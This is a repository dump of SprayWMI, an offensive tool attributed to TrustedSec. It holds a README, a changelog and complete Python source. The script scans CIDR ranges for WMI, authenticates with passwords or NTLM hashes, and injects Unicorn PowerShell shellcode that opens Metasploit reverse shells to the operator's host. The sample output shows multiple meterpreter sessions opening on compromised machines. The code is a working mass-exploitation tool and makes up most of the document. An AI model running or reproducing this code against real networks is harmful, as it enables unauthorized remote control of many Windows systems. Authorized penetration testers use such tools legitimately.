├── wmis ├── CHANGELOG ├── README.md └── spraywmi.py /wmis: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/trustedsec/spraywmi/HEAD/wmis -------------------------------------------------------------------------------- /CHANGELOG: -------------------------------------------------------------------------------- 1 | ~~~~~~~~~~~~~~~~~~~~~~~~~~~ 2 | version 0.4 3 | ~~~~~~~~~~~~~~~~~~~~~~~~~~~ 4 | 5 | * added better handling around if WMIS was broken and not properly loading 6 | * added a better description on installing depends if not installed 7 | * removed an extra print statement that was causing an extra IP to be printed 8 | * moved python-pexpect checker to beginning of code base 9 | * removed verbose flag - no longer needed 10 | * added error handling and verbosity when not able to successfully log in 11 | * added better checks and msf handling 12 | 13 | ~~~~~~~~~~~~~~~~~~~~~~~~~~~ 14 | version 0.3 15 | ~~~~~~~~~~~~~~~~~~~~~~~~~~~ 16 | 17 | * fixed an issue where nmap wouldn't report properly 18 | 19 | ~~~~~~~~~~~~~~~~~~~~~~~~~~~ 20 | version 0.2 21 | ~~~~~~~~~~~~~~~~~~~~~~~~~~~ 22 | 23 | * added wmis pre-compiled binary in default install 24 | * added automatic download and usage of unicorn 25 | * added automatic detection of unicorn paths 26 | 27 | ~~~~~~~~~~~~~~~~~~~~~~~~~~~ 28 | version 0.1 29 | ~~~~~~~~~~~~~~~~~~~~~~~~~~~ 30 | 31 | * initial release 32 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | SprayWMI is a method for mass spraying Unicorn PowerShell injection to CIDR notations. 2 | 3 | Written by: David Kennedy (@HackingDave) @TrustedSec 4 | Special thanks to: Justin Elze and Larry Spohn @TrustedSec 5 | 6 | Initial blog post: https://www.trustedsec.com/june-2015/no_psexec_needed/ 7 | If you have trouble with this on 64-bit, try: 8 | dpkg --add-architecture i386 && apt-get update && apt-get install libpam0g:i386 && apt-get install libpopt0:i386 9 | 10 | Flags and descriptions: 11 | 12 | domain Domain you are attacking. If its local, just specify workgroup. 13 | 14 | username Username to authenticate on the remote Windows system. 15 | 16 | password Password or password hash LM:NTLM to use on the remote Windows system. 17 | 18 | CIDR range or file Specify a single IP, CIDR range (10.0.1.1/24) or multiple CIDRs: 10.0.1.1/24,10.0.2.1/24. 19 | You can also specify a file (ex: ips.txt) that contains a single IP addresses on each line. 20 | payload Metasploit payload, example: windows/meterpreter/reverse_tcp 21 | 22 | LHOST Reverse shell IP address. 23 | 24 | LPORT Reverse shell listening port. 25 | 26 | optional: NO Specify no if you do not want to create a listener. This is useful if you already have a listener 27 | established. If you do not specify a value, it will automatically create a listener for you. 28 | 29 | Usage: python spraywmi.py 30 | 31 | 32 | Below is an example of output from spraywmi: 33 | 34 | root@stronghold:/home/relik# python spraywmi.py TS kennedy-test complexP255w0rd! 10.0.90.1/24,10.0.0.1/24,10.0.59.1/24,10.0.96.1/24,10.0.1.1/24 windows/meterpreter/reverse_tcp 10.0.47.24 443 35 | 36 | [*] Generating shellcode through Unicorn, this could take a few seconds. 37 | 38 | [*] Launching the listener in the background. 39 | 40 | [*] Waiting for the listener to start first before we continue. 41 | 42 | [*] Be patient, Metasploit takes a little bit to start. 43 | 44 | [*] Sweeping targets for open TCP port 135 first, then moving through. Be patient. 45 | 46 | [*] Launching WMI spray against IP: 10.0.90.1 - You should have a shell in the background. Once finished, a shell will spawn. 47 | 48 | 49 | 50 | [*] Launching WMI spray against IP: 10.0.96.20 - You should have a shell in the background. Once finished, a shell will spawn. 51 | 52 | [*] Launching WMI spray against IP: 10.0.96.21 - You should have a shell in the background. Once finished, a shell will spawn. 53 | 54 | [*] Launching WMI spray against IP: 10.0.96.22 - You should have a shell in the background. Once finished, a shell will spawn. 55 | 56 | [*] Launching WMI spray against IP: 10.0.96.23 - You should have a shell in the background. Once finished, a shell will spawn. 57 | 58 | [*] Launching WMI spray against IP: 10.0.96.242 - You should have a shell in the background. Once finished, a shell will spawn. 59 | 60 | [*] Launching WMI spray against IP: 10.0.1.13 - You should have a shell in the background. Once finished, a shell will spawn. 61 | 62 | [*] Spraying is still happening in the background, shells should arrive as they complete. 63 | 64 | [*] Interacting with Metasploit. 65 | 66 | msf exploit(handler) > 67 | 68 | [*] Encoded stage with x86/shikata_ga_nai 69 | 70 | [*] Sending encoded stage (885836 bytes) to 10.0.90.174 71 | 72 | [*] Meterpreter session 1 opened (10.0.47.24:443 -> 10.0.90.174:49868) at 2015-10-13 04:33:55 -0400 73 | 74 | [*] Encoded stage with x86/shikata_ga_nai 75 | 76 | [*] Sending encoded stage (885836 bytes) to 10.0.90.203 77 | 78 | [*] Meterpreter session 2 opened (10.0.47.24:443 -> 10.0.90.203:51333) at 2015-10-13 04:33:59 -0400 79 | 80 | [*] Encoded stage with x86/shikata_ga_nai 81 | 82 | [*] Sending encoded stage (885836 bytes) to 10.0.90.184 83 | 84 | [*] Meterpreter session 3 opened (10.0.47.24:443 -> 10.0.90.184:61218) at 2015-10-13 04:34:02 -0400 85 | 86 | [*] Encoded stage with x86/shikata_ga_nai 87 | 88 | [*] Sending encoded stage (885836 bytes) to 10.0.90.204 89 | 90 | [*] Meterpreter session 4 opened (10.0.47.24:443 -> 10.0.90.204:54219) at 2015-10-13 04:34:06 -0400 91 | 92 | [*] Encoded stage with x86/shikata_ga_nai 93 | 94 | [*] Sending encoded stage (885836 bytes) to 10.0.90.175 95 | 96 | [*] Meterpreter session 5 opened (10.0.47.24:443 -> 10.0.90.175:54210) at 2015-10-13 04:34:10 -0400 97 | 98 | 99 | 100 | [*] Meterpreter session 13 opened (10.0.47.24:443 -> 10.0.90.248:53657) at 2015-10-13 04:34:31 -0400 101 | 102 | [*] Encoded stage with x86/shikata_ga_nai 103 | 104 | [*] Sending encoded stage (885836 bytes) to 10.0.90.39 105 | 106 | [*] Meterpreter session 14 opened (10.0.47.24:443 -> 10.0.90.39:60451) at 2015-10-13 04:34:35 -0400 107 | 108 | [*] Encoded stage with x86/shikata_ga_nai 109 | -------------------------------------------------------------------------------- /spraywmi.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # 3 | # __ __ __ 4 | # /__` |__) |__) /\ \ / | | |\/| | 5 | # .__/ | | \ /~~\ | |/\| | | | 6 | # 7 | # 8 | # Version 0.1 9 | # 10 | # SprayWMI is a method for mass spraying Unicorn PowerShell injection to CIDR notations. 11 | # 12 | # Written by: David Kennedy (@HackingDave) @TrustedSec 13 | # Special thanks to: Justin Elze and Larry Spohn @TrustedSec 14 | # 15 | # Initial blog post: https://www.trustedsec.com/june-2015/no_psexec_needed/ 16 | # If you have trouble with this on 64-bit, try: 17 | # dpkg --add-architecture i386 && apt-get update && apt-get install libpam0g:i386 libpopt0:i386 18 | # 19 | # Be sure to configure the three options below for Unicorn and WMI paths. This is mandatory or will not work. 20 | # Make sure to close meterpreter properly (exit or kill session) or else the server may spike high CPU - weirdness with PowerShell. 21 | # Configure the path to Unicorn: github.com/trustedsec/unicorn 22 | 23 | import subprocess 24 | import os 25 | import sys 26 | import time 27 | definepath = os.getcwd() 28 | os.system('clear') 29 | 30 | try: import pexpect 31 | except ImportError: 32 | print ("[!] python-pexpect not installed, attempting to install it.") 33 | subprocess.Popen("python -m pip install pexpect", shell=True).wait() 34 | try: import pexpect 35 | except ImportError: 36 | print ("[!] Sorry, could not install pexpect. Try installing it manually: python-pexpect\n\n") 37 | sys.exit() 38 | 39 | unicorn = ("/pentest/post-exploitation/unicorn/") 40 | if not os.path.isdir("/pentest/post-exploitation/unicorn/"): 41 | if not os.path.isdir(definepath + "/unicorn/"): 42 | print ("[!] Unicorn not detected, checking out for you automatically.") 43 | subprocess.Popen("git clone https://github.com/trustedsec/unicorn unicorn/", shell=True).wait() 44 | 45 | unicorn = (definepath + "/unicorn/") 46 | 47 | wmi = ("./wmis") 48 | if os.path.isfile("wmis"): 49 | subprocess.Popen("chmod +x wmis", shell=True).wait() 50 | proc = subprocess.Popen("./wmis", stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) 51 | if "error while loading shared" in proc.communicate()[1]: 52 | print ("[!] Looks like you have an issue with wmis - this is most likely because you are on a 64 bit platform and need a couple things first..") 53 | print ("[!] If on Ubuntu run command to fix: dpkg --add-architecture i386 && apt-get update && apt-get install libpam0g:i386 libpopt0:i386") 54 | sys.exit() 55 | 56 | if not os.path.isfile("wmis"): 57 | print ("[!] WMIS not detected - edit this script to add the full path to WMIS or this will not work.") 58 | 59 | # Main variable assignment from command line parameters. 60 | optional = "" 61 | try: 62 | 63 | domain = sys.argv[1] # Domain you are attacking. If its local, just specify workgroup. 64 | user = sys.argv[2] # Username to authenticate on the remote Windows system. 65 | password = sys.argv[3] # Password or password hash LM:NTLM to use on the remote Windows system. 66 | cidr = sys.argv[4] # CIDR format or a file containing IPs. 67 | meta = sys.argv[5] # Metasploit payload, example: windows/meterpreter/reverse_tcp 68 | lhost = sys.argv[6] # Reverse shell IP address (LHOST). 69 | lport = sys.argv[7] # Reverse shell listening port (LPORT). 70 | try: 71 | if sys.argv[8] == "no": # Optional variable to spawn listener. 72 | optional = "no" 73 | else: optional = "" 74 | except IndexError: pass 75 | 76 | # Throw syntax if we don't have all of our sys args taken care of. 77 | except IndexError: 78 | print (r""" 79 | __ __ __ 80 | /__` |__) |__) /\ \ / | | |\/| | 81 | .__/ | | \ /~~\ | |/\| | | | 82 | 83 | 84 | Written by: David Kennedy @ TrustedSec 85 | 86 | """) 87 | print ("SprayWMI is a method for mass spraying Unicorn PowerShell injection to CIDR notations.\n") 88 | 89 | print ("""Flags and descriptions: 90 | 91 | domain Domain you are attacking. If its local, just specify workgroup. 92 | username Username to authenticate on the remote Windows system. 93 | password Password or password hash LM:NTLM to use on the remote Windows system. 94 | CIDR range or file Specify a single IP, CIDR range (10.0.1.1/24) or multiple CIDRs: 10.0.1.1/24,10.0.2.1/24. 95 | You can also specify a file (ex: ips.txt) that contains a single IP addresses on each line. 96 | payload Metasploit payload, example: windows/meterpreter/reverse_tcp 97 | LHOST Reverse shell IP address. 98 | LPORT Reverse shell listening port. 99 | optional: NO Specify no if you do not want to create a listener. This is useful if you already have a listener 100 | established. If you do not specify a value, it will automatically create a listener for you. 101 | """) 102 | print ("Usage: python spraywmi.py \n\n") 103 | sys.exit() 104 | 105 | print ("[*] Launching SprayWMI on the hosts specified.") 106 | 107 | # Start Unicorn first. 108 | if os.path.isfile(unicorn + "/unicorn.py"): 109 | os.chdir(unicorn) 110 | print ("[*] Generating shellcode through Unicorn, this could take a few seconds.") 111 | subprocess.Popen("python unicorn.py %s %s %s" % (meta, lhost, lport), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait() 112 | if optional == "": 113 | print ("[*] Launching the listener in the background.") 114 | time.sleep(1) 115 | child = pexpect.spawn("msfconsole -r %s/unicorn.rc" % (unicorn)) 116 | print ("[*] Waiting for the listener to start first before we continue.") 117 | print ("[*] Be patient, Metasploit takes a little bit to start.") 118 | child.expect("Exploit running", timeout=30000) 119 | unicorn_code = file(unicorn + "/powershell_attack.txt", "r").read() 120 | # All back to normal. 121 | os.chdir(definepath) 122 | 123 | # If not found, tell them to check it out. 124 | else: 125 | print ("Unicorn was not found. Please run git clone https://github.com/trustedsec/unicorn, then edit spraywmi.py and point the unicorn = variable to your Unicorn installation.") 126 | sys.exit() 127 | 128 | if not os.path.isfile(cidr): 129 | # If we have multiple CIDRs, then split them up for nmap. 130 | if "," in cidr: 131 | print ("[*] Multiple CIDR notations found, splitting them up.") 132 | cidr_range = cidr.split(",") 133 | cidr_temp = "" 134 | for cidrs in cidr_range: 135 | cidr_temp = cidr_temp + cidrs + " " 136 | 137 | # Our output with spaces. 138 | cidr = cidr_temp 139 | 140 | # Sweep networks first. 141 | print ("[*] Sweeping targets for open TCP port 135 first, then moving through. Be patient.") 142 | subprocess.Popen("nmap -Pn -n --open -p135 -oG - %s | awk '$NF~/msrpc/{print $2}' > openwmi.txt" % (cidr), shell=True).wait() 143 | 144 | # Next we create the WMI command. 145 | fileopen = file("openwmi.txt", "r").readlines() 146 | 147 | # If we are using a file. 148 | if os.path.isfile(cidr): 149 | fileopen = file(cidr, "r").readlines() 150 | 151 | counter = 0 152 | for line in fileopen: 153 | counter = 1 154 | 155 | if counter == 1: 156 | for ip in fileopen: 157 | ip = ip.rstrip() 158 | command = ('''%s -U %s/%s%%%s //%s "%s"''' % (wmi,domain,user,password,ip,unicorn_code)) 159 | print ("[*] Launching WMI spray against IP: %s - You should have a shell in the background. Once finished, a shell will spawn." % (ip)) 160 | proc = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) 161 | stdout_value = proc.communicate()[1] 162 | if not "Success" in stdout_value: 163 | print ("[!] !!!!! WARNING !!!!! - We got something not good from the server.") 164 | print ("[!] ERROR: Something happened, printing server (%s) response: " % (ip) + stdout_value) 165 | 166 | # Cleanup 167 | if os.path.isfile("openwmi.txt"): 168 | os.remove("openwmi.txt") 169 | # Interact with Metasploit. 170 | print ("[*] Spraying is still happening in the background, shells should arrive as they complete.") 171 | 172 | if optional == "": 173 | print ("[*] Interacting with Metasploit.") 174 | # Interact with Metasploit. 175 | child.interact() 176 | else: 177 | print "[*] Running in the background, everything is completed but keeping a loop so subprocess has time to complete.." 178 | while 1: 179 | try: 180 | print "[*] If you are finished, hit control-c to exit." 181 | time.sleep(15) 182 | 183 | except KeyboardInterrupt: 184 | print "[*] Exiting SprayWMI.\n\n" 185 | sys.exit() 186 | else: 187 | print ("[*] Unable to identify targets with open TCP port 135.\n\n") 188 | sys.exit() 189 | --------------------------------------------------------------------------------